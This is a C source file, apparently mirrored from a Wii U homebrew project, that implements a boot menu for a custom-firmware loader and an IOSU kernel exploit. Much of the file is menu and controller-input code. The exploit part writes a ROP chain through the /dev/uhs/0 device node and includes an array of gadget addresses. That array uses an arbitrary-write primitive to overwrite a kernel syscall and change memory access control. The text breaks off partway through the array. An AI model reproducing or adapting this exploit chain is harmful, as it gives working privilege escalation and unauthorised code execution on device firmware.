mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-16 21:29:17 +01:00
3b005e9a39
NOTE: this change (as well as the last update) do NOT AFFECT MOCHA CFW, they only affect my internal CBHC CFW which you can enable by just setting it to autoboot system menu which will give you full signature and region patching as well as this protection and re-applying patches on reloads; overall letting your wiiu and the menu run as they would normally
928 lines
33 KiB
C
928 lines
33 KiB
C
/*
|
|
* Copyright (C) 2016 FIX94
|
|
*
|
|
* This software may be modified and distributed under the terms
|
|
* of the MIT license. See the LICENSE file for details.
|
|
*/
|
|
#include <string.h>
|
|
#include "types.h"
|
|
#include "coreinit.h"
|
|
#include "pad.h"
|
|
|
|
#define CHAIN_START 0x1016AD40
|
|
#define SHUTDOWN 0x1012EE4C
|
|
#define SIMPLE_RETURN 0x101014E4
|
|
#define SOURCE 0x01E20000
|
|
#define IOS_CREATETHREAD 0x1012EABC
|
|
#define ARM_CODE_BASE 0x08135000
|
|
#define REPLACE_SYSCALL 0x081298BC
|
|
|
|
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
|
#include "payload/arm_kernel_bin.h"
|
|
#include "payload/arm_user_bin.h"
|
|
|
|
static void uhs_exploit_init(unsigned int coreinit_handle);
|
|
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
|
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle);
|
|
|
|
#define BUS_SPEED 248625000
|
|
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
|
|
#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000)
|
|
#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000)
|
|
|
|
#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs))
|
|
#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs))
|
|
|
|
#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R)
|
|
#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y)
|
|
#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"
|
|
#define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf"
|
|
|
|
static const char *verChar = "CBHC v1.4 by FIX94";
|
|
|
|
#define DEFAULT_DISABLED 0
|
|
#define DEFAULT_SYSMENU 1
|
|
#define DEFAULT_HBL 2
|
|
#define DEFAULT_MOCHA 3
|
|
#define DEFAULT_CFW_IMG 4
|
|
#define DEFAULT_MAX 5
|
|
|
|
static const char *defOpts[DEFAULT_MAX] = {
|
|
"DEFAULT_DISABLED",
|
|
"DEFAULT_SYSMENU",
|
|
"DEFAULT_HBL",
|
|
"DEFAULT_MOCHA",
|
|
"DEFAULT_CFW_IMG",
|
|
};
|
|
|
|
static const char *bootOpts[DEFAULT_MAX] = {
|
|
"Disabled",
|
|
"System Menu",
|
|
"Homebrew Launcher",
|
|
"Mocha CFW",
|
|
"fw.img on SD Card",
|
|
};
|
|
|
|
#define LAUNCH_SYSMENU 0
|
|
#define LAUNCH_HBL 1
|
|
#define LAUNCH_MOCHA 2
|
|
#define LAUNCH_CFW_IMG 3
|
|
|
|
#define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable);
|
|
#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp);
|
|
#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf);
|
|
#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1);
|
|
|
|
uint32_t __main(void)
|
|
{
|
|
unsigned int coreinit_handle;
|
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
|
|
|
void (*DCStoreRange)(const void *addr, uint32_t length);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
|
|
|
void (*OSExitThread)(int);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
|
|
|
unsigned int sysapp_handle;
|
|
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
|
|
|
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
|
|
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
|
|
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
|
|
|
|
unsigned int vpad_handle;
|
|
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
|
|
|
|
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
|
|
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
|
|
|
|
int vpadError = -1;
|
|
VPADData vpad;
|
|
VPADRead(0, &vpad, 1, &vpadError);
|
|
if(vpadError == 0)
|
|
{
|
|
if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU)
|
|
{
|
|
// iosuhax-less menu launch backup code
|
|
int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr);
|
|
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash);
|
|
_SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0);
|
|
OSExitThread(0);
|
|
return 0;
|
|
}
|
|
else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL)
|
|
{
|
|
// original hbl loader payload
|
|
strcpy((void*)0xF5E70000,SD_HBL_PATH);
|
|
return 0x01800000;
|
|
}
|
|
}
|
|
|
|
unsigned int *pMEMAllocFromDefaultHeapEx;
|
|
unsigned int *pMEMFreeToDefaultHeap;
|
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
|
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
|
|
void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx);
|
|
void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
|
|
|
|
void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4);
|
|
void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4);
|
|
|
|
int(*FSInit)(void);
|
|
void(*FSShutdown)(void);
|
|
int(*FSAddClient)(void *pClient, int errHandling);
|
|
int(*FSDelClient)(void *pClient);
|
|
void(*FSInitCmdBlock)(void *pCmd);
|
|
|
|
int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling);
|
|
int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile);
|
|
|
|
unsigned int act_handle;
|
|
OSDynLoad_Acquire("nn_act.rpl", &act_handle);
|
|
|
|
unsigned int save_handle;
|
|
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
|
|
void(*SAVEInit)(void);
|
|
void(*SAVEShutdown)(void);
|
|
void(*SAVEInitSaveDir)(unsigned char user);
|
|
int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling);
|
|
int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling);
|
|
void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota);
|
|
OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename);
|
|
|
|
void(*nn_act_initialize)(void);
|
|
unsigned char(*nn_act_getslotno)(void);
|
|
unsigned char(*nn_act_getdefaultaccount)(void);
|
|
void(*nn_act_finalize)(void);
|
|
OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize);
|
|
OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno);
|
|
OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount);
|
|
OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize);
|
|
|
|
FSInit();
|
|
nn_act_initialize();
|
|
unsigned char slot = nn_act_getslotno();
|
|
unsigned char defaultSlot = nn_act_getdefaultaccount();
|
|
SAVEInit();
|
|
SAVEInitSaveDir(slot);
|
|
FSAddClient(pClient, -1);
|
|
FSInitCmdBlock(pCmd);
|
|
|
|
int autoboot = -1;
|
|
int iFd = -1;
|
|
int i;
|
|
for(i = 0; i < DEFAULT_MAX; i++)
|
|
{
|
|
SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1);
|
|
if (iFd >= 0)
|
|
{
|
|
autoboot = i;
|
|
FSCloseFile(pClient, pCmd, iFd, -1);
|
|
break;
|
|
}
|
|
}
|
|
if(autoboot < 0)
|
|
{
|
|
autoboot = DEFAULT_DISABLED;
|
|
SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1);
|
|
if (iFd >= 0)
|
|
FSCloseFile(pClient, pCmd, iFd, -1);
|
|
}
|
|
int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU;
|
|
int cur_autoboot = autoboot;
|
|
|
|
void(*OSScreenInit)();
|
|
void(*OSScreenEnableEx)(unsigned int bufferNum, int enable);
|
|
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
|
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
|
|
|
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
|
|
|
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
|
|
|
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
|
|
|
OSScreenInit();
|
|
int screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
|
OSScreenSetBufferEx(0, (void*)(0xF4000000));
|
|
OSScreenSetBufferEx(1, (void*)(0xF4000000 + screen_buf0_size));
|
|
OSScreenEnable(1);
|
|
|
|
unsigned long long(*OSGetTitleID)();
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID);
|
|
unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF);
|
|
|
|
char verInfStr[64];
|
|
__os_snprintf(verInfStr,64,"%s (DS Title %08X)", verChar, dsvcid);
|
|
|
|
unsigned int padscore_handle;
|
|
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
|
|
|
|
void(*OSSleepTicks)(unsigned long long ticks);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks);
|
|
|
|
void(*WPADEnableURCC)(int enable);
|
|
void(*KPADSetConnectCallback)(int chan, void *ptr);
|
|
void*(*WPADSetSyncDeviceCallback)(void *ptr);
|
|
void(*KPADShutdown)(void);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown);
|
|
//easly allows us callback without execute permission on other cores
|
|
char(*WPADGetSpeakerVolume)(void);
|
|
void(*WPADSetSpeakerVolume)(char);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume);
|
|
//enable wiiu pro controller connection
|
|
WPADEnableURCC(1);
|
|
//hachihachi instantly disconnects wiimotes normally
|
|
KPADSetConnectCallback(0,NULL);
|
|
KPADSetConnectCallback(1,NULL);
|
|
KPADSetConnectCallback(2,NULL);
|
|
KPADSetConnectCallback(3,NULL);
|
|
char oriVol = WPADGetSpeakerVolume();
|
|
//WPAD_SYNC_EVT=0 is button pressed
|
|
WPADSetSpeakerVolume(1);
|
|
WPADSetSyncDeviceCallback(WPADSetSpeakerVolume);
|
|
|
|
if(autoboot == DEFAULT_DISABLED)
|
|
goto cbhc_menu;
|
|
|
|
OSScreenClearBuffer(0);
|
|
OSScreenPutFont(0, 0, verInfStr);
|
|
OSScreenPutFont(0, 1, "Autobooting...");
|
|
OSScreenFlipBuffers();
|
|
|
|
//garbage read
|
|
getButtonsDown(padscore_handle, vpad_handle);
|
|
//see if menu is requested
|
|
int loadMenu = 0;
|
|
int waitCnt = 40;
|
|
while(waitCnt--)
|
|
{
|
|
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
|
|
|
|
if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0)
|
|
{
|
|
WPADSetSpeakerVolume(1);
|
|
loadMenu = 1;
|
|
break;
|
|
}
|
|
usleep(50000);
|
|
}
|
|
|
|
if(loadMenu == 0)
|
|
goto doIOSUexploit;
|
|
|
|
OSScreenClearBuffer(0);
|
|
OSScreenPutFont(0, 0, verInfStr);
|
|
OSScreenPutFont(0, 1, "Entering Menu...");
|
|
OSScreenFlipBuffers();
|
|
waitCnt = 30;
|
|
while(waitCnt--)
|
|
{
|
|
getButtonsDown(padscore_handle, vpad_handle);
|
|
usleep(50000);
|
|
}
|
|
|
|
cbhc_menu: ;
|
|
int redraw = 1;
|
|
int PosX = 0;
|
|
int ListMax = 5;
|
|
int clickT = 0;
|
|
while(1)
|
|
{
|
|
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
|
|
|
|
if(WPADGetSpeakerVolume() == 0)
|
|
{
|
|
if(clickT == 0)
|
|
clickT = 8;
|
|
else
|
|
{
|
|
btnDown |= VPAD_BUTTON_A;
|
|
clickT = 0;
|
|
}
|
|
WPADSetSpeakerVolume(1);
|
|
}
|
|
else if(clickT)
|
|
{
|
|
clickT--;
|
|
if(clickT == 0)
|
|
btnDown |= VPAD_BUTTON_DOWN;
|
|
}
|
|
|
|
if( btnDown & VPAD_BUTTON_DOWN )
|
|
{
|
|
if(PosX+1 == ListMax)
|
|
PosX = 0;
|
|
else
|
|
PosX++;
|
|
redraw = 1;
|
|
}
|
|
|
|
if( btnDown & VPAD_BUTTON_UP )
|
|
{
|
|
if( PosX <= 0 )
|
|
PosX = (ListMax-1);
|
|
else
|
|
PosX--;
|
|
redraw = 1;
|
|
}
|
|
|
|
if( btnDown & VPAD_BUTTON_A )
|
|
{
|
|
if(PosX == 4)
|
|
{
|
|
cur_autoboot++;
|
|
if(cur_autoboot == DEFAULT_MAX)
|
|
cur_autoboot = DEFAULT_DISABLED;
|
|
redraw = 1;
|
|
}
|
|
else
|
|
{
|
|
launchmode = PosX;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if(redraw)
|
|
{
|
|
OSScreenClearBuffer(0);
|
|
OSScreenPutFont(0, 0, verInfStr);
|
|
char printStr[64];
|
|
__os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' ');
|
|
OSScreenPutFont(0, 1, printStr);
|
|
__os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' ');
|
|
OSScreenPutFont(0, 2, printStr);
|
|
__os_snprintf(printStr,64,"%c Boot Mocha CFW", 2 == PosX ? '>' : ' ');
|
|
OSScreenPutFont(0, 3, printStr);
|
|
__os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 3 == PosX ? '>' : ' ');
|
|
OSScreenPutFont(0, 4, printStr);
|
|
__os_snprintf(printStr,64,"%c Autoboot: %s", 4 == PosX ? '>' : ' ', bootOpts[cur_autoboot]);
|
|
OSScreenPutFont(0, 5, printStr);
|
|
|
|
OSScreenFlipBuffers();
|
|
redraw = 0;
|
|
}
|
|
usleep(50000);
|
|
}
|
|
OSScreenClearBuffer(0);
|
|
OSScreenFlipBuffers();
|
|
usleep(50000);
|
|
|
|
doIOSUexploit:
|
|
WPADSetSpeakerVolume(oriVol);
|
|
KPADShutdown();
|
|
|
|
if(cur_autoboot != autoboot)
|
|
SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1);
|
|
|
|
SAVEFlushQuota(pClient, pCmd, slot, -1);
|
|
FSDelClient(pClient);
|
|
SAVEShutdown();
|
|
nn_act_finalize();
|
|
FSShutdown();
|
|
|
|
MEMFreeToDefaultHeap(pClient);
|
|
MEMFreeToDefaultHeap(pCmd);
|
|
|
|
OSScreenClearBuffer(0);
|
|
OSScreenFlipBuffers();
|
|
|
|
memcpy((void*)0xF5E70100, &sysmenu, 8);
|
|
*(volatile unsigned int*)0xF5E70108 = dsvcid;
|
|
*(volatile unsigned int*)0xF5E7010C = launchmode;
|
|
DCStoreRange((void*)0xF5E70100, 0x20);
|
|
|
|
int (*OSForceFullRelaunch)(void);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
|
|
|
//for patched menu launch
|
|
void (*SYSLaunchMenu)(void);
|
|
OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu);
|
|
void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot);
|
|
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchMenuWithCheckingAccount",&_SYSLaunchMenuWithCheckingAccount);
|
|
|
|
int (*IOS_Open)(char *path, unsigned int mode);
|
|
int (*IOS_Close)(int fd);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
|
|
|
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
|
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
|
|
|
//!------ROP CHAIN-------
|
|
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
|
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
|
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
|
|
|
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
|
|
|
IOS_Close(dev_uhs_0_handle);
|
|
|
|
if(launchmode == LAUNCH_HBL)
|
|
{
|
|
strcpy((void*)0xF5E70000,SD_HBL_PATH);
|
|
return 0x01800000;
|
|
}
|
|
else if(launchmode == LAUNCH_MOCHA)
|
|
{
|
|
strcpy((void*)0xF5E70000,SD_MOCHA_PATH);
|
|
return 0x01800000;
|
|
}
|
|
//sysmenu or cfw
|
|
if(launchmode == LAUNCH_CFW_IMG)
|
|
{
|
|
OSForceFullRelaunch();
|
|
SYSLaunchMenu();
|
|
}
|
|
else
|
|
{
|
|
if(defaultSlot) //normal menu boot
|
|
SYSLaunchMenu();
|
|
else //show mii select
|
|
_SYSLaunchMenuWithCheckingAccount(slot);
|
|
}
|
|
OSExitThread(0);
|
|
return 0;
|
|
}
|
|
|
|
/* General Input Code */
|
|
|
|
static unsigned int wpadToVpad(unsigned int buttons)
|
|
{
|
|
unsigned int conv_buttons = 0;
|
|
|
|
if(buttons & WPAD_BUTTON_LEFT)
|
|
conv_buttons |= VPAD_BUTTON_LEFT;
|
|
|
|
if(buttons & WPAD_BUTTON_RIGHT)
|
|
conv_buttons |= VPAD_BUTTON_RIGHT;
|
|
|
|
if(buttons & WPAD_BUTTON_DOWN)
|
|
conv_buttons |= VPAD_BUTTON_DOWN;
|
|
|
|
if(buttons & WPAD_BUTTON_UP)
|
|
conv_buttons |= VPAD_BUTTON_UP;
|
|
|
|
if(buttons & WPAD_BUTTON_PLUS)
|
|
conv_buttons |= VPAD_BUTTON_PLUS;
|
|
|
|
if(buttons & WPAD_BUTTON_2)
|
|
conv_buttons |= VPAD_BUTTON_X;
|
|
|
|
if(buttons & WPAD_BUTTON_1)
|
|
conv_buttons |= VPAD_BUTTON_Y;
|
|
|
|
if(buttons & WPAD_BUTTON_B)
|
|
conv_buttons |= VPAD_BUTTON_B;
|
|
|
|
if(buttons & WPAD_BUTTON_A)
|
|
conv_buttons |= VPAD_BUTTON_A;
|
|
|
|
if(buttons & WPAD_BUTTON_MINUS)
|
|
conv_buttons |= VPAD_BUTTON_MINUS;
|
|
|
|
if(buttons & WPAD_BUTTON_HOME)
|
|
conv_buttons |= VPAD_BUTTON_HOME;
|
|
|
|
return conv_buttons;
|
|
}
|
|
|
|
static unsigned int wpadClassicToVpad(unsigned int buttons)
|
|
{
|
|
unsigned int conv_buttons = 0;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_LEFT)
|
|
conv_buttons |= VPAD_BUTTON_LEFT;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)
|
|
conv_buttons |= VPAD_BUTTON_RIGHT;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_DOWN)
|
|
conv_buttons |= VPAD_BUTTON_DOWN;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_UP)
|
|
conv_buttons |= VPAD_BUTTON_UP;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_PLUS)
|
|
conv_buttons |= VPAD_BUTTON_PLUS;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_X)
|
|
conv_buttons |= VPAD_BUTTON_X;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_Y)
|
|
conv_buttons |= VPAD_BUTTON_Y;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_B)
|
|
conv_buttons |= VPAD_BUTTON_B;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_A)
|
|
conv_buttons |= VPAD_BUTTON_A;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_MINUS)
|
|
conv_buttons |= VPAD_BUTTON_MINUS;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_HOME)
|
|
conv_buttons |= VPAD_BUTTON_HOME;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_ZR)
|
|
conv_buttons |= VPAD_BUTTON_ZR;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_ZL)
|
|
conv_buttons |= VPAD_BUTTON_ZL;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_R)
|
|
conv_buttons |= VPAD_BUTTON_R;
|
|
|
|
if(buttons & WPAD_CLASSIC_BUTTON_L)
|
|
conv_buttons |= VPAD_BUTTON_L;
|
|
|
|
return conv_buttons;
|
|
}
|
|
|
|
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle)
|
|
{
|
|
int(*WPADProbe)(int chan, int * pad_type);
|
|
int(*KPADRead)(int chan, void * data, int size);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe);
|
|
OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead);
|
|
|
|
unsigned int btnDown = 0;
|
|
|
|
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
|
|
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
|
|
|
|
int vpadError = -1;
|
|
VPADData vpad;
|
|
VPADRead(0, &vpad, 1, &vpadError);
|
|
if(vpadError == 0)
|
|
btnDown |= vpad.btns_d;
|
|
|
|
int i;
|
|
for(i = 0; i < 4; i++)
|
|
{
|
|
int controller_type;
|
|
if(WPADProbe(i, &controller_type) != 0)
|
|
continue;
|
|
KPADData kpadData;
|
|
KPADRead(i, &kpadData, 1);
|
|
if(kpadData.device_type <= 1)
|
|
btnDown |= wpadToVpad(kpadData.btns_d);
|
|
else
|
|
btnDown |= wpadClassicToVpad(kpadData.classic.btns_d);
|
|
}
|
|
|
|
return btnDown;
|
|
}
|
|
|
|
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
|
static const int final_chain[] = {
|
|
0x101236f3, // 0x00 POP {R1-R7,PC}
|
|
0x0, // 0x04 arg
|
|
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
|
0x68, // 0x0C stacksize
|
|
0x10101638, // 0x10
|
|
0x0, // 0x14
|
|
0x0, // 0x18
|
|
0x0, // 0x1C
|
|
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
|
0x0, // 0x24
|
|
0x0, // 0x28
|
|
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x30
|
|
0x0, // 0x34
|
|
IOS_CREATETHREAD, // 0x38
|
|
0x1, // 0x3C
|
|
0x2, // 0x40
|
|
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
|
0x0, // 0x50
|
|
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
|
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x5C
|
|
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x64
|
|
0x0, // 0x68
|
|
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
|
0x0, // 0x70
|
|
0x0, // 0x74
|
|
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A04000, // 0x80 value: MOV R4, R0
|
|
0x0, // 0x84
|
|
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
|
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x90
|
|
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x98
|
|
0x0, // 0x9C
|
|
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
|
0x0, // 0xA4
|
|
0x0, // 0xA8
|
|
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
|
0x0, // 0xB8
|
|
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
|
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
|
0x0, // 0xC4
|
|
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0xCC
|
|
0x0, // 0xD0
|
|
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0xD8
|
|
0x0, // 0xDC
|
|
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
